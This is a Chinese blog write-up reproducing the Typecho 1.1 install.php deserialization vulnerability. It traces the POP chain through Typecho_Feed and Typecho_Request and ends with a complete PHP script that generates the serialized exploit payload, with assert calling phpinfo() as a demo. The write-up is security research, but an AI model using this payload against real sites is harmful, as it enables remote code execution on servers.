Typecho1.1反序列化漏洞复现

 
两三年前出的漏洞了,这里来进行一波审计和复现一波
 

环境搭建

 
首先你需要为typecho创建一个数据库,不然后面会安装失败,这个虽然是前台Getshell,但是install.php里面验证了是否存在数据库配置文件,所以要触发这个漏洞必须要先安装
 

 

 
之后就可以触发了
 

审计过程

 
漏洞大约在install.php的229行左右
 

 
很显然的一处反序列化,我们跟进get方法看看
 

 
可以看到没有对Cookie或者是POST过来的数据进行过滤,就是简单的判断是从POST取出数据还是Cookie中取出数据,也就是说上面我们反序列化得到的$config是可控的
 

 
接下来实例化一个类,将我们的config数组的两个元素放进去
 

 

 
其中获取数据库适配器使用了字符串连接的方法,连接的对象就是我们我们的$config["adapter"],假设这个$config["adapter"]是一个类的话就会触发__toString方法,那么上哪里面找有__toString的类呢
 

 
我用自带的全局搜索找到了两个,Feed.php,Query.php
 
跟进Feed.php查看他的__toString方法
 
在大约290行左右有这样一行代码
 

 
$item其实就这个类的一个私有变量
 

 
这里面调用了screenNmae参数,假设这个$item["author"]是个类,并且调用了不存在的screenName变量的时候就会触发__get()魔术方法,我们同样用全局搜索来定位这样的类
 

 
跟进Request.php
 

 
再跟进get方法
 

 
这里面获取$this->_params['screenName']的值并调用_applyFilter方法。
跟进看看
 

 
使用call_user_func函数来对\(value进行操作,首先\)this->_params['screenName']可控的,我们实例化的时候初始化就行,接下来看调用的函数是否可控(也就是$filter是否可控)
 

 
是可控的,那么我们就可以构造任意代码执行或者命令执行的payload
 
还有要注意一点,因为漏洞是在install.php触发的,所以我们需要在前面看一下允许执行的条件
 

 
需要get一个finish,还有伪造一个Referer就行了
 

思路整理

 
首先在install.php反序列化一个数组,数组的adapter元素为Feed.php里面的Typecho_Feed类,在Typecho_Db类初始化的阶段会触发Typecho_Feed的__toString方法,将Typecho_Feed类中的私有成员_items数组的author元素赋值为Request.php里面的Typecho_Request类,这样在__toString中就会触发Typecho_Reques类的__get方法,在将Typecho_Reques类中的私有成员$_params $_filter赋值就可以达到任意代码执行的目的
 
总结: 反序列化感觉就是无限套娃的样子
 

payload利用

 

<?php


class Typecho_Feed{
      /** 定义RSS 1.0类型 */
    const RSS1 = 'RSS 1.0';

    /** 定义RSS 2.0类型 */
    const RSS2 = 'RSS 2.0';

    /** 定义ATOM 1.0类型 */
    const ATOM1 = 'ATOM 1.0';

    /** 定义RSS时间格式 */
    const DATE_RFC822 = 'r';

    /** 定义ATOM时间格式 */
    const DATE_W3CDTF = 'c';

    /** 定义行结束符 */
    const EOL = "\n";

    private $_type;

    private $_charset;private $_items = array();


   public function __construct($value='')
  {
        $this->_type = self::RSS2;
        $item['link'] = '1';
        $item['title'] = '2';
        $item['date'] = 1507720298;
        $item['author'] = new Typecho_Request();
        $item['category'] = array(new Typecho_Request());

        $this->_items[0] = $item;
  }


}



/**
 * 
 *///screenName  $value = $this->_params[screenName]   调用函数 $this->_filter($value)
class Typecho_Request
{
    private $_params = array();
    private $_filter = array();


    function __construct()
    {
        $this->_params["screenName"]="phpinfo()";
        $this->_filter[0]="assert";
    }
}

$a = array(

"adapter" =>  new Typecho_Feed(),

"prefix" => "QAQ"

);

echo base64_encode(serialize($a));

?>

 

 

参考资料

 
http://www.tomyxy.com/index.php/archives/3.html

https://p0sec.net/index.php/archives/114/

posted @ 2020-03-11 12:21  Zahad003  阅读(1008)  评论(0编辑  收藏  举报